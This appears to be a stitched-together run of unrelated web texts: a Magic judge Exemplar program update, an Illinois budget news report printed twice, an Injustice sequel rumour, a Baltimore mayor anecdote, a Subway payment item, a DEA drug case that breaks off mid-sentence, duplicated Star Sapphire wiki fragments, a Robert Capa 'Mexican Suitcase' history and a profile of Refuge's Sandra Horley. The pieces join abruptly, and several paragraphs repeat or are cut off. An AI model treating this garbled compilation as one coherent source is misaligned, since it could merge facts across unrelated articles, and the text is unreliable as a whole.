Several years ago, I was Judge Manager for a PTO, and was responsible for the staffing of GPs among many other tasks. The part of the job I enjoyed the most was publishing the acceptances. Seeing people get excited, watching people start to make plans on Facebook to get together with friends they hadn’t seen for a while carried with it an energy that really motivated me. So it’s not any surprise I’ve been looking forward to today. For me and the Exemplar team, today is the payoff; it’s the reason we do this. The public recognitions, the heartfelt thanks, and shared stories make all the effort worthwhile. We want to highlight the best the program has to offer, and there are a lot of exceptional things judges are doing.
Right now, all the nominations can be viewed through JudgeApps; in the menu bar on the left of the screen, the Exemplar submenu includes ‘My Recognitions’ (which should show the ones you have written and received) as well as the option ‘All Recognitions’. This takes you to a page containing a number of convenient filtering options to allow you to browse the recognitions in any way you choose. I encourage you to take a look, both to see the great things judges are doing in their communities and to see the kinds of behaviors judges value and want to highlight as exemplary.
The next steps are pretty straight forward. We have already packaged up the recognitions in an excel file, put a figurative bow on it, and sent it to Wizards. So in the next day or two, an email will be sent to everyone who received a nomination in Wave 3. This email will contain a timeframe and instructions on how to provide your address. It is very important that you read and follow those instructions. Do not assume that you know what it says. Do not assume that your address is on file. Make sure your email address is up to date in JudgeApps.
In the weeks and months to come there will be a few articles about what makes a good nomination, and some will expand on certain nominations. Another metrics article will come out as well. Everyone loves metrics.
I want to thank everyone who took the time to recognize their peers in this wave. There are a lot of well thought out and specific recognitions. It’s one thing to say “This person is a good judge!” or “She did a great job!”, it’s another entirely to identify what makes them a good judge, or why that job was great. So, assuming you haven’t already, go enjoy looking over the latest Exemplar recognitions!
…I said something about Wave 2, didn’t I?
Wave 2 mailings had some issues. Several addresses weren’t provided. As a result, those addresses weren’t included in the list sent to Wizards and therefore nothing was mailed. Additionally, some judges who did provide their address did not receive a mailing for various reasons. Considering both issues, Wizards has decided to do a second mailing for those who were recognized in Wave 2 but did not receive anything in the mail. To help facilitate this, we will be sending out instructions like before with a link to a form to provide your address. This mailing will be separate from the Wave 3 mailing and have separate instructions. It will also be coming out in the next few days, so please make sure your email address is current in JudgeApps. Notice a theme?
I do want to be clear on one point though. This mailing is *NOT* intended to set a precedent for future waves, and there will not be a make-up wave for anyone we miss in this additional set of mailings.
Wave 4 Update
When we started Wave 4, we were in a period of transition. The previous Community Manager for the Judge Network had just left,and a new one, even an interim one hadn’t been chosen yet. On the judge side, this project also had a new lead, so we didn’t have a lot of time or opportunity to make changes. However, we did agree that we needed to start Wave 4, so it was started using the exact same rules as Wave 3. Now we have an interim Judge Community Manager, and a new project lead, and we both have plans for where we want the program to go. We collaborated, reviewed feedback and concerns, and arrived at a plan for the program which will result in a few changes.
The first change is a slight philosophical shift in the Exemplar Program. We still want nominations of awesome judges doing awesome things, but we aren’t going to worry so much about the line between ‘recognition’ and ‘reward’. It’s a blurry line that’s a little hard to define, especially when some consider recognition in itself a reward. This change makes it simple: We want to hear about the excellent things judges do, and what makes them excellent while worrying less about the specific phrasing.
A judge helped you through a difficult time? What did they say?
You watched someone single-handedly saved ODEs from burning down at a GP? How did they do it?
The HJ kept their cool when the fire alarm went off at an event? What did they do?
How does this judge go above and beyond?
Yes, sometimes ‘above and beyond’ can be straight-forward and direct, but it is always specific and describable.
Another point of discussions was increasing the number of nominations for L2+ judges. One repeating piece of feedback we received was that the participating L2s felt constrained by the number of slots they had and couldn’t recognize all the judges they felt deserved some recognition. At the same time, in the opposite direction, we kept noticing some judges attempting to solicit nominations in an attempt to use them all. We also noticed a fair number of nominations in this wave for things that are ‘expected’ rather than ‘above and beyond’ for a particular level. Neither is what we want. But it created an interesting situation where we seemed to simultaneously have both too many, and too few nomination slots.
We want you to be able to recognize other judges for the amazing things they do, but we also want the things they are recognized for to actually be amazing and not just filling a quota. You shouldn’t feel compelled to use all your nomination slots, and you shouldn’t feel guilty for not using them all. Furthermore, other judges shouldn’t try to make you feel guilty for not using them all or for using them on judges outside your region. They are yours to use or not use.
This did open up the discussion regarding slot usage. After a bit of debate, we decided to shift some numbers around and increase the number of ‘any level’ slots across the board. The goal is both to give more slots to people who want to make use of them and to push the number of slots up to a point where it is unrealistic to use them all. This way people will use the slots where they are deserved, and not worry about any obligation to use them all. You also no longer have to wait till the last minute to figure out which judge is worth one of your limited slots. You can now nominate someone as soon as they do something of note and still have lots of slots left over for the weeks to come.
We will be watching the usage of these slots to see if these changes are doing what we hope to accomplish. If they don’t, they will change for wave 5. For now, effective immediately, the Wave 4 slot allocations are as follows:
Recognizing Judge’s Level Max L1 Nominations Max L2 Nominations Max L3+ Nominations Additional “any level” Nominations Level 2 2 1 5 Level 3 3 3 1 6 Level 4 4 3 8 Level 5 5 4 8 RC Extra 6 6 1
Furthermore, with the delays in the release of Wave 3 data, and the additional slots for Wave 4, we have decided to extend the Wave 4 deadline by two weeks.
The new end date for Wave 4 is January 31st at midnight PST.
Finally, as a bit of a spoiler, ‘Exemplar’ is going to expand somewhat in the months to come. This bit, the peer-to-peer recognition bit, is going to stay largely the same as it is now, at the center of the Exemplar program. However, Wizards is working with the senior judges on ways to recognize judges in addition to the Exemplar Program. More information will be coming in the months to come.
Well, that’s all I have for this update. Check back in the next few weeks when I talk about foils.
Yes, I said ‘foils’.Illinois's Democratic General Assembly granted final passage Monday to state revenue and spending measures, sending to Republican Gov. Bruce Rauner a budget plan he has already pledged to veto.
Illinois entered its third fiscal year without a budget on July 1.
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Mr. Rauner takes issue with the revenue side of the legislature's proposal, which levies a roughly $5 billion permanent income tax increase to fund the more than $36 billion spending bill. The state brings in roughly $32 billion a year.
The governor has said he would prefer the income-tax increase be temporary, and is seeking other concessions from Democratic lawmakers, including a property tax freeze and a revamp of the state's worker compensation system.
At the moment, it appears both chambers have the votes necessary to override the governor's threatened veto of the revenue bill.
The tax increase earned 72 votes in the House Sunday, surpassing the 3/5ths-majority threshold required to override a gubernatorial veto, and got 36 votes in the Senate Monday, the exact number needed to override Mr. Rauner's decision.
Fifteen Republicans voted for the tax increase in the House, and it earned one GOP vote in the Senate.
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The state's record-breaking impasse is the result of a political standoff between Mr. Rauner, elected in November 2014, and House Speaker Michael Madigan, a Chicago Democrat who has held the office for more than three decades.
On Sunday, the House passed revenue and spending measures authored by Democratic Rep. Greg Harris, Mr. Madigan's top lieutenant in budget negotiations.
The Senate cleared both measures Monday, and gave final legislative approval to a budget implementation bill that would allow Illinois to borrow billions of dollars through the sale of state bonds. Those funds would go toward paying down the state's $14.6 billion in unpaid bills.
The revenue bill increases the state's personal income-tax rate from 3.75% to 4.95% and the corporate income-tax rate from 5.25% to 7%. The spending bill includes a 5% cut to government agencies and reduces state higher education funding by 10%.
"We are faced today with the fierce urgency of now. We don't have any more time. And too late is not good enough," said Democratic Sen. Toi Hutchinson, who presented the revenue measure to the Senate. "It is time to be the independent legislature that our framers demanded."
But Republican Senate Minority Leader Bill Brady said he couldn't vote for the tax increase without legislation to enact the governor's demands.
"It's regrettable that I stand today not capable of supporting this package, not necessarily because what's in the package is bad, but because it's incomplete," Mr. Brady said. "We need a comprehensive solution for this state."
Ms. Hutchinson affirmed Democrats would remain at the negotiating table to keep working on property tax relief and workers' compensation reform, "but those things aren't at stake today. Our colleges and universities are at stake today. Our child care centers. Our mental health institutions," she said.
Write to Quint Forgey at [email protected]
Illinois's Democratic General Assembly granted final passage Monday to state revenue and spending measures, sending to Republican Gov. Bruce Rauner a budget plan he has already pledged to veto.
Illinois entered its third fiscal year without a budget on July 1.
Mr. Rauner takes issue with the revenue side of the legislature's proposal, which levies a roughly $5 billion permanent income tax increase to fund the more than $36 billion spending bill. The state brings in roughly $32 billion a year.
The governor has said he would prefer the income-tax increase be temporary, and is seeking other concessions from Democratic lawmakers, including a property tax freeze and a revamp of the state's worker compensation system.
At the moment, it appears both chambers have the votes necessary to override the governor's threatened veto of the revenue bill.
The tax increase earned 72 votes in the House Sunday, surpassing the 3/5ths-majority threshold required to override a gubernatorial veto, and got 36 votes in the Senate Monday, the exact number needed to override Mr. Rauner's decision.
Fifteen Republicans voted for the tax increase in the House, and it earned one GOP vote in the Senate.
The state's record-breaking impasse is the result of a political standoff between Mr. Rauner, elected in November 2014, and House Speaker Michael Madigan, a Chicago Democrat who has held the office for more than three decades.
On Sunday, the House passed revenue and spending measures authored by Democratic Rep. Greg Harris, Mr. Madigan's top lieutenant in budget negotiations.
The Senate cleared both measures Monday, and gave final legislative approval to a budget implementation bill that would allow Illinois to borrow billions of dollars through the sale of state bonds. Those funds would go toward paying down the state's $14.6 billion in unpaid bills.
The revenue bill increases the state's personal income-tax rate from 3.75% to 4.95% and the corporate income-tax rate from 5.25% to 7%. The spending bill includes a 5% cut to government agencies and reduces state higher education funding by 10%.
"We are faced today with the fierce urgency of now. We don't have any more time. And too late is not good enough," said Democratic Sen. Toi Hutchinson, who presented the revenue measure to the Senate. "It is time to be the independent legislature that our framers demanded."
But Republican Senate Minority Leader Bill Brady said he couldn't vote for the tax increase without legislation to enact the governor's demands.
"It's regrettable that I stand today not capable of supporting this package, not necessarily because what's in the package is bad, but because it's incomplete," Mr. Brady said. "We need a comprehensive solution for this state."
Ms. Hutchinson affirmed Democrats would remain at the negotiating table to keep working on property tax relief and workers' compensation reform, "but those things aren't at stake today. Our colleges and universities are at stake today. Our child care centers. Our mental health institutions," she said.
Talks on non-budget issues, including the governor's priorities, have deteriorated since the House revenue and spending votes Sunday. Mr. Brady and Republican House Minority Leader Jim Durkin failed to appear at legislative leaders meetings Monday and Tuesday with Mr. Madigan and Democratic Senate President John Cullerton.
Following the Senate's approval of the budget plan, Mr. Madigan confirmed he will not call a vote in the House Tuesday to override the governor's veto if Mr. Rauner rejects the revenue bill the same day. Mr. Rauner has up to 60 days to take action on the bill.
(END) Dow Jones Newswires
July 04, 2017 13:39 ET (17:39 GMT)This is one announcement that really slipped under the radar. In fact, you wouldn’t have even known about it unless you were at the DC All Access at Wondercon Panel and paying really close attention.
After an apparently rather spectacular CG trailer for Batman Arkham Knight, the team were caught saying ‘2015’ post-haste. Many instantly assumed that Rocksteady’s latest was already expecting a delay. However, as soon as the internet posted it as fact, someone else at the Panel instantly came out to contradict the notion.
And offered up a pretty major-league bombshell in the process.
According to a quote from Furious Fanboys, it seems like they were actually talking about another game in another franchise. Take a read of this…
DC showed the Blur Studios’ CG trailer for Arkham Knight, which earned a lot of cheers and applause. It was pretty loud, so you can’t blame someone for not hearing what came next, but it wasn’t an Arkham Knight delay. While people were applauding and cheering, they specifically say that Batman: Arkham Knight would be released later this year. After that statement is what most people didn’t hear, and they said to prepare for the return of Injustice. The “not a 2014 title” statement applied to the new Injustice, not the Batman sequel. No other details about the new Injustice, such as who is developing it, was revealed but it is apparently on the way…just not this year.
For those who may have missed it, Injustice Gods Among Us is a beat-em-up from the creators of Mortal Kombat that pits DC characters against one another: from Aquaman to Lex Luthor. The game did pretty well, developing a strong online community, a compelling campaign and lots of neat challenges making for plenty of replay value.
A sequel was a foregone conclusion, and with the amount of additional content Injustice has previously received, you can bet a sequel will go even further into the expanded DC Universe.
But how far will this go? This time around, could we be looking at isolated universes, such as that found in Watchmen? Imagine some Rorschach action this time around? Hoo’boy…
No confirmation of platforms or release dates just yet, but we’re willing to bet this will be a next-gen exclusive and will surely launch by Summer 2015 in time for the big super-hero blow-out on cinema screens. It may even contain a few teasers for the Batman v Superman movie. It wouldn’t be the first time DC TV or Movies have crossed over with Injustice. Stephen Amell, who plays Oliver McQueen in the TV Series, Arrow, voiced and mo-capped Green Arrow in Injustice. A downloadable character was also modelled on Michael Shannon’s interpretation of General Zod from Man of Steel.
What we’re trying to say is, crossover is very likely, especially with The Flash and Gotham TV series also due to start imminently.
So that totally means a downloadable Felicity Smoak character, right?
Are you looking forward to an Injustice sequel? Which characters would you like to see get involved?
(Via Furious Fanboys)Well here we are folks, the day has finally arrived in which we say farewell to Baltimore’s Weirdest Mayor, William Donald Schaefer. And since there’s nothing more to be said that wasn’t already put together months ago by the local media with their finger on the PUBLISH button, I’ll relay this little story of the two times I met Willie Don in person. The first time I met the man, I was a tiny child accompanying my parents for a Sunday meal at Connolly’s Seafood, a storied fish-and-crab shack that sat on the end of Pier 5 in the Inner Harbor. The Harbor was a vastly different place at that time; The National Aquarium (another Willie Don legacy) and Harborplace were barely minted, while McCormick Spice Co. was still operating its factory in the heart of Downtown and the whole area would reek of spice and molasses, courtesy of Domino Sugar. In essence it was still a very industrial place, and Connolly’s fit the gritty environment just fine.
Then Mayor Schaefer would dine at Connolly’s on a regular basis with his mother, and it was one such Sundee late afternoon that I was staring at the large, cranky parrot the ownership kept behind a thick plate glass window when my father turned me around and said “Hey Evvy, you wanna meet the mayor?”
And there he was, big giant bald forehead and all, he shook my teeny hand and said “Well hello der lil’ boi.” I didn’t even know what a mayor was at the time, but everyone at the joint was being really nice to him so I figured he was someone important.
Twenty three-or-four years later, after Schaefer had failed to get reelected as state comptroller (after having been the Mayor of Baltimore for a gajillion more years and the Governor of the state, for the love), I found myself very randomly out in Canton, where he had retired. I didn’t even know Private Citizen Schaefer still lived in the city, but he loved him some Baltimore City like no other, and stuck with it until he was literally extracted from his home kicking and screaming and sent to the Charlestown Retirement Community. At any rate there I was in Canton, when I spotted the man teetering along in his little hat, my jaw dropped a bit and I continued standing there, waiting for the light to change so I could cross the street.
Willie Don wound up doing the same thing (not so much with the jaw dropping but the waiting for the light to change), so there we were standing on a corner in Canton when he said to me “Nice day out,” to which I replied “Yup, uh, …..man, I miss Connolly’s.”
He laughed a little.
(photos of Willie Don at Connolly’s c/o Baltimore Sun)Subway is in the middle of testing a new restaurant design that will make Apple Pay an integral option when ordering food, in some cases before people even walk through the door.
Upgraded locations will have self-order kiosks supporting both Apple Pay and Samsung Pay, the company said on Monday. Once an order is completed, people will be able to claim it at a dedicated pick-up space. The chain does already support Apple Pay, but only for conventional orders.The pick-up space will also handle preorders made through the company's iPhone app, which is being updated with its own Apple Pay compatibility. Currently mobile users have to manually add a credit, debit, or Subway card.To further attract a tech-savvy crowd, overhauled restaurants will include free Wi-Fi as well as USB charging ports at seats.The new design —dubbed "Fresh Forward" —is being tested at a dozen locations worldwide. U.S. restaurants include ones in Chula Vista, Calif., Palmview, Texas, Hillsboro, Ore., Vancouver, Wash., and three Flordia markets: Orlando, Tamarac, and Winter Park.Canadian pilots are taking place in Quebec, specifically Beauport and Granby. The one U.K. test city is Manchester.It's not clear when the new store design will emerge from its test phase, but Subway said that "many elements of the new brand identity" will go global by the end of 2017.DEA Charges Daniel Brian Springer, Daniel Brian Springer II, And Daniel Brian Springer III With Narcotics Conspiracy Share
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A 23-year-old Florida man, his father, and his grandfather--each of whom shares the same name--were charged today with felony narcotics conspiracy.
Daniel Brian Springer III, Daniel Brian Springer II, 44, and Daniel Brian Springer, 63, were named in a federal complaint filed today in U.S. District Court in Tampa.
According to an affidavit sworn by a Drug Enforcement Administration agent, the three generations of Springers conspired to obtain a two-pound, three-ounce package of Ecstasy that had ben mailed from China.
The drug shipment was intercepted by federal agents, who yesterday made a “controlled delivery” of the package to the home of Daniel Brian Springer. The eldest Springer subsequently told agents that he had agreed with his son to “take possession of the narcotics upon delivery.”
Then, in a move that will make Thanksgiving dinner really uncomfortable, Springer agreed to call his son while DEA agents monitored the call. The middle Springer announced that he was expecting a “package” to be delivered to his father’s residence.
Later yesterday, Daniel Brian Springer II and Daniel Brian Springer III arrived at Daniel Brian Springer’s home, where they were confronted by DEA agents. The two younger Springers admitted that the narcotics delivery was “initiated” by Daniel Brian Springer III.
The youngest Springer told agents that he ordered the narcotics a few weeks ago via Black Market Reloaded, an online drug sales market that exists on the so-called dark web. Springer, who estimated that the drugs cost between $2000 and $ |
film, Lively has commented that there is potential for Star Sapphire to appear in any possible sequels and that she would enjoy the chance to return as Star Sapphire. [68] [69]
, Carol Ferris (played by Blake Lively) is a main character. In the scene where Carol is flying a fighter jet, her call sign is 'Sapphire' and the Star Sapphire sign can be spotted on her helmet. While the Star Sapphires were never involved in the film, Lively has commented that there is potential for Star Sapphire to appear in any possible sequels and that she would enjoy the chance to return as Star Sapphire. The Carol Ferris version of Star Sapphire appears in Justice League: Doom, voiced again by Olivia d'Abo but without her accent this time. [70] Her costume here is similar to the one currently worn by the Star Sapphires. She is hired to be part of Vandal Savage's Legion of Doom since she is the counterpart to Green Lantern. Her plan is to break Hal Jordan's will by making him believe he had let a hostage (almost identical to Carol) get killed by a terrorist that he could have easily defeated before harm befell her. As Hal mourns the dead girl, Carol walks up to him and berates him for his failure to save the woman and for hurting Carol, driving her into becoming Star Sapphire. Weeping, Hal takes off his ring, becoming a broken man as he continues to mourn the dead woman. When Batman arrives, he reveals that the woman was an android used by Star Sapphire to trick him, and that she had exposed him to a diluted version of the Scarecrow's fear gas in order to break his will, to which Hal dons his ring and becomes Green Lantern once more. When the Justice League storms the Hall of Doom, she faces off against him again. As they fight, Hal expresses anger over Carol's plan, saying that he couldn't believe what she did, only for her to coldly remark that he broke her heart, and she would never stop trying to kill him for it. She manages to capture him but he escapes and knock her out. Hal proceeds to take away Carol's Star Sapphire gem, reverting her back to normal, and admits that he keeps hurting her. This version is shown to be able to create both energy blasts and hard constructs. She was the only one to use the non-lethal version of Batman's contingency plans and was the last member to be defeated.
, voiced again by Olivia d'Abo but without her accent this time. Her costume here is similar to the one currently worn by the Star Sapphires. She is hired to be part of Vandal Savage's Legion of Doom since she is the counterpart to Green Lantern. Her plan is to break Hal Jordan's will by making him believe he had let a hostage (almost identical to Carol) get killed by a terrorist that he could have easily defeated before harm befell her. As Hal mourns the dead girl, Carol walks up to him and berates him for his failure to save the woman and for hurting Carol, driving her into becoming Star Sapphire. Weeping, Hal takes off his ring, becoming a broken man as he continues to mourn the dead woman. When Batman arrives, he reveals that the woman was an android used by Star Sapphire to trick him, and that she had exposed him to a diluted version of the Scarecrow's fear gas in order to break his will, to which Hal dons his ring and becomes Green Lantern once more. When the Justice League storms the Hall of Doom, she faces off against him again. As they fight, Hal expresses anger over Carol's plan, saying that he couldn't believe what she did, only for her to coldly remark that he broke her heart, and she would never stop trying to kill him for it. She manages to capture him but he escapes and knock her out. Hal proceeds to take away Carol's Star Sapphire gem, reverting her back to normal, and admits that he keeps hurting her. This version is shown to be able to create both energy blasts and hard constructs. She was the only one to use the non-lethal version of Batman's contingency plans and was the last member to be defeated. Star Sapphire appears in the animated film DC Super Hero Girls: Hero of the Year.
Video games [ edit ]
The Star Sapphires appear in the video game Infinite Crisis.
. The Star Sapphires appear in the video game Lego Batman 3: Beyond Gotham, with Carol Ferris being featured as a playable character, voiced again by Olivia d'Abo.
, with Carol Ferris being featured as a playable character, voiced again by Olivia d'Abo. The Star Sapphires appear in the video game DC Universe Online.
. The Star Sapphires appear in the video game DC Unchained, with Carol Ferris being featured as a playable character.
, with Carol Ferris being featured as a playable character. Although she is not featured as a character, there are 2 Hero cards on which Star Sapphire appears on in Injustice 2.
. Star Sapphire appears as a playable character in Lego DC Super-Villains.
Webisodes [ edit ]
Star Sapphire appears in DC Super Hero Girls, voiced by Jessica DiCicco.
References [ edit ]
Golden Age Queen of the 7th Dimension:
Remoni-Notra:
Jillian Pearlman:
Animated:
Miscellaneous:Famed photojournalist Robert Capa and the mystery of his “Mexican Suitcase”
Renowned photojournalist Robert Capa took hundreds of images of the Spanish Civil War in the late 1930s. Yet, in the ensuing 70 years, only a handful seemed to have survived. What became of those other images lies at the heart of the mystery of Capa's "Mexican Suitcase."
Telling the story of a war that no one seemed to care about
The story begins in 1936, when three young photojournalists -- Robert Capa, Gerda Taro and David Seymour (known as Chim) -- crossed the Spanish border from France. They were intent on telling the story of a war that no one seemed to care about. Even today, that war seems little more than a footnote in history (at least for most of us), something from long ago and far away. However, its impact remains with us because it was the moment when war went from battlefields to the streets of cities. Civilians were no longer non-combatants; they were often targets. And the places that were once fought over, were now fought in.
The Spanish Civil War pitted the Nationalists -- under the infamous General Francisco Franco and supported by Hitler's Germany -- against the Republican forces supported in part by the Soviet Union. The Republican side was also supported by the Abraham Lincoln Brigade, a ragtag band of young Americans who volunteered to go to Spain to fight the Fascists. My friend Milt Felsen was one of them. I met him when he was in 80s; he spoke like Humphrey Bogart and got a kick out of calling me "Flash." I asked him if he had met Capa and he told me:
"Sure, I did, Flash, at the Hotel Florida bar. He was a short guy. Good looking. A good man, just a little crazy. Always running towards the shooting."
The Hotel Florida in Madrid was where Ernest Hemingway lived at the time, and it was a gathering place for the foreigners fighting and covering the conflict.
[Ernest Hemingway (third from the left), New York Times journalist Herbert Matthews (second from the left) and two Republican soldiers, Teruel, Spain].
Taken late December 1937 by Robert Capa. Negative.
© International Center of Photography / Magnum
Photographers crazy in love
Gerda Taro, like Capa, was a little crazy too, always running towards the gunfire. Idealistic and romantic, they wanted to warn the world of the looming threat and to make some money, too. They were also deeply in love, traveling and photographing together and labeling their photos Capa&Taro. To sell their work, they would cut up their contact sheets and paste the best pictures into 8 x 10 notebooks along with their captions and story backgrounds. These notebooks were then given to their agents, who would then use them to market the stories. These photo essays sold well, and soon were published in European and American publications, including Regards, Ce Soir, Vu and, of course, Life magazine.
[Gerda Taro and Robert Capa on the terrace of Café du Dôme in Montparnasse, Paris]
Taken early 1936 by Fred Stein. Negative.
© Estate of Fred Stein. Courtesy of International Center of Photography.
For the couple, life existed between the polar opposites of chic Paris café society and the killing fields of Spain. Too soon, however, Gerda's luck ran out and on July 25, 1937, she was killed by a tank while covering the Battle of Brunete. Capa was devastated. It took him months before he could go back to the front. But as usual, when he did he headed towards the shooting and covered the war until it ended in February of 1939.
Fleeing the war, leaving his files behind
Hemingway and the others then decamped for Paris as tens of thousands of Republican fighters and ordinary Spaniards crossed the Pyrenees, fleeing Franco. Many ended up in internment camps in France -- in places such as Barcarès and Argelès-sur-Mer, not far from where I live. The unlucky ones were sent north to German concentration camps, while a few lucky ones survived and later settled in France.
When he returned to Paris, Capa realized he was in jeopardy. The Nazis began their occupation of Paris in 1940 and were sure to arrest him, so he stayed as long as he could before leaving for New York. He entrusted his studio and Spanish Civil War negatives to his friend the photographer, Imre "Csiki" Weiss. Although he returned to Europe two years later and extensively photographed the war, and accompanied American troops landing in Normandy on D-Day, he apparently never made a effort to retrieve his Paris files.
Cornell Capa, Robert's younger brother and the founder of the International Center of Photography in New York City, told me in 1973 that Robert had taken "other Spanish pictures" but he had no idea what had happened to them. That was until 1975, when he received a letter from Imre Weiss:
"In 1939, when the Germans approached Paris, I put all Bob's negatives in a rucksack and bicycled it to Bordeaux to try to get it on a ship to Mexico. I met a Chilean in the street and asked him to take my film packages to his consulate for safekeeping. He agreed."
A suitcase filled with treasure
Now the search was on, but Cornell's best efforts to find the rucksack and consulate produced nothing. At this time, no one knew of the amazing journey of these lost photographs. Shortly after Weiss gave them to the "Chilean" stranger, the rucksack became a suitcase which never got to the consulate. However, in 1941 or '42, one General Francisco Aguilar González -- the Mexican ambassador to the Vichy France government -- somehow got hold of it. There is no way of knowing whether the General knew what he had or ever opened the suitcase, but we know that he took it with him to Mexico City. There it was left among his personal belongings, where it stayed safe and forgotten for nearly 30 years.
One of three cardboard boxes of the Mexican Suitcase containing Spanish Civil War images by Capa, Chim, and Taro.
© International Center of Photography
The General died in 1971, and the suitcase's journey resumed. It was passed on to a woman friend of the General's who stored it away again, probably unopened, where it stayed until 1995. Then the woman died and the suitcase was left to her nephew, who happened to be the Mexican filmmaker Benjamin Tarver. He did open it and marveled at what he found. Having just seen an exhibition of Spanish Civil War photographs by Dutch photojournalist Carel Blazer in Mexico City, he understood what he had. He then reached out to Queens College (NY) art historian, Jerald R. Green for help. "Naturally it would seem prudent to have this material... become an archive available to students and researchers of the Spanish Civil War," Tarver wrote to Green, who was also a friend of Cornell Capa.
The elusive suitcase and its contents finally come home
Green immediately called Capa to tell him the news. Capa tried to get in touch with Tarver, but the filmmaker was oddly elusive and couldn't be reached. Finally, according to Cynthia Young, Assistant Curator of the Robert Capa and Cornell Capa Archive at the ICP:
"In early 2007, Wallis (the chief ICP curator) enlisted the aid of independent curator and filmmaker Trisha Ziff, based in Mexico City. Ziff first met Tarver in May 2007, and over the next several months helped to persuade him that the negatives belonged at ICP with the rest of the Capa and Taro Archives, and a large Chim collection. On December 19, Ziff arrived at ICP with the Mexican Suitcase. The missing negatives had finally come home."
Cornell Capa was 89 when at last he got to hold and open the "Mexican Suitcase." In it were 126 rolls of film containing more than 4,500 images taken by his brother Robert, Gerda and Chim, as well as several of the story notebooks. The images are kept in collection by the ICP, and on its website you can learn much more about the story of the "Mexican Suitcase."
[Exiled Republicans being marched down the beach to an internment camp, Le Barcarès, France]
Taken March 1939 by Robert Capa. Negative.
© International Center of Photography / Magnum
[Man carrying a wounded boy, Teruel, Spain]
Taken late December 1937 by Robert Capa. Negative.
© International Center of Photography / Magnum
As for my friend Milt, he made his way home, too. The F.B.I. called him a "premature anti-fascist" and a communist but despite that, when America entered the war, he and other Brigade vets found themselves recruited by General "Wild Bill" Donovan into the new O.S.S (later the C.I.A). Because of their combat experience in Europe, their country needed them and soon Milt, well ahead of the regular troops, was behind enemy lines blowing up bridges.
But that's another story for another time.
Special thanks to Camille Ortiz, Public Relations Coordinator at ICP for her assistance with this story.Sandra Horley, head of domestic violence charity Refuge, wrote a pioneering book on the abuse of women 25 years ago. She’s just republished it because the violence goes on
One day, in the mid-80s, Sandra Horley sat on a stool in her partner’s studio and told him what she was seeing at work. She described the women who were coming to her refuges (which she ran on an overdraft), their terror, the injuries they’d sustained at the hands of their partners – hit with hammers, raped, shot by air rifles. There was a woman in her shelter who just sat and rocked. Another held her son in her lap and cried because her husband had never let her cuddle him before.
But it wasn’t this that so astonished Horley. It wasn’t this that she wanted to get across. What was most sinister was that all these women were telling her the same stories. They described identical incidents – the way their partners behaved, what they did and what they said, right down to the words they used. Always, these men started off charming. “I heard that word almost every time,” says Horley. “The women would say, ‘If he was sitting in this room now, you wouldn’t believe he could do this.’” The men were loving and charismatic – they knew how to disarm and draw women in. Then slowly – still mixed in with the charm, flitting between the two – the same patterns would creep in. Put-downs. Possessiveness. Isolation. When there was violence, these women were already worn down, cut off, trapped.
Horley’s partner, Julian Nieman, urged her to put it in a book – as a warning to everyone. Horley wasn’t a writer, she was busy on the frontline and that book, a side project, took years to finish. (Horley married Nieman and had a daughter along the way.)
The Charm Syndrome, published in 1991, focused on six women whose abusers included a singer, a solicitor, an academic and a builder. “Because that replicates society,” says Horley. “It’s all walks of life.” It drew out the patterns in the men’s behaviour. In isolation, their acts seemed senseless and random – shocking losses of control – but this was far from the case. They were calculated to achieve one goal: total domination.
One in 10 crimes recorded by police are domestic abuse cases – ONS Read more
The response to her book was beyond what she’d hoped. “I was sort of shocked by the huge amount of coverage,” she says. “It was described as groundbreaking.”
Now, 26 years later, it has been updated and reissued under the title Power and Control. There’s far more awareness these days – domestic violence isn’t hidden behind closed doors, it’s on TV and the radio, in headlines. There’s stronger legislation, too – it’s hard to believe that when Horley was having that conversation with her partner, rape was still legal within marriage (it became a crime in the UK in 1991).
But in 2017, abusers have more weapons in their armoury: technology helps them track their partners, monitor communication, and terrorise from afar. And the statistics are still devastating. Domestic violence accounts for a third of reported violent crimes in England and Wales. Each week, two women are killed by partners or former partners; another three will take their own lives because of domestic abuse.
Is she angry? “I did get angry when I was younger,” says Horley. “I try not to feel it so much now, as it gets in the way … I guess if you probed a little, it’s still there.”
Facebook Twitter Pinterest Sandra Horley with her book, Power and Control. Photograph: Julian Nieman
Now Horley is the CEO of Refuge, the largest single provider of emergency domestic violence services in the UK. Her office is stunning, right on the river Thames with views across Tower Bridge. The walls are lined with photographs of women and children, frontline workers, bereaved relatives, plus the great and the good – Princess Diana, Cherie Blair QC, Helena Kennedy QC. The space was provided by a generous donor.
Horley has come a very long way and fought for every bit of it – and how she did this is a story in itself. She was born in Sarnia, Ontario, Canada, and her parents separated when she was 14 – her father disappearing over the border to the US, leaving her mother with four children.
“We were deeply poor,” she says. “I mean penniless. Mum earned $47 a week in a laundry and $18 went on rent.” Horley vividly recalls knocking on the door of a stranger to ask for food (the woman made her a sandwich) and when the family found themselves living in just two cockroach-infested rooms, Horley left, knocking on another door (this time, the house of a girl she’d met on a school trip). The mother took her in, gave her tomato soup and put her to bed.
Horley spent the next few years moving between people, sofa surfing. While at school, she worked. “My mother used to say the only way out of this was to get an education and that just stuck,” she says. She won a scholarship to McGill University in Montreal, which included a term at Oxford. After graduating with distinction, she returned to the UK to study sociology at Birmingham.
It was here Horley saw an ad for a job as director of a project for homeless and abused women in Wolverhampton. “I thought, ‘That sounds interesting. I’ve been homeless. Maybe I could help.’ It was as simple as that. I applied on a whim and got the job. I found out later I was the only applicant!”
This was the late 70s – Refuge opened the world’s first refuge in Chiswick in 1971. “In those days, the phrase ‘battered women’ had barely been coined,” she says. “Domestic violence was a ‘private matter’ – something to do with ‘problem families’ on council estates. People didn’t understand the dynamics, and I didn’t, either. I arrived with an armload of feminist books and never opened them. I was the only paid member of staff, running four shelters – living and breathing it every single day.”
Controlling or coercive domestic abuse to risk five-year prison term Read more
The greatest shock, says Horley, was the “sheer brutality”. “One of my first cases was a woman whose husband had taken a hammer and chisel to her face. She’d had 250 stitches and there wasn’t a square millimetre of white skin. Just a mass of purple bruising. I fed her through a straw.
“And then the priest came. I’d never allow this now, but in those days, you didn’t know what best practice was. In front of me, he persuaded her to go home, saying her husband promised never to do it again. And of course he did – she was back again later.”
In her five years at Wolverhampton, Horley helped 3,000 women. She doesn’t recall one man being prosecuted.
During this period, Horley met Nieman, her future husband (“A gentle giant, not a sexist or possessive bone in his body”). Having joined him in London, in 1983, she took a job running Chiswick Family Refuge (“There were two applicants that time!”) which was later relaunched as Refuge.
Starting with an £8,000 overdraft and a semi-derelict refuge, Horley first asked a company to donate a tonne of steel wool to control the rats. It was delivered the next day and she has been asking for help, one way or another, ever since. Now Refuge has about 40 refuges. “And they’re all nice, cheerful environments, because that’s what the women deserve.”
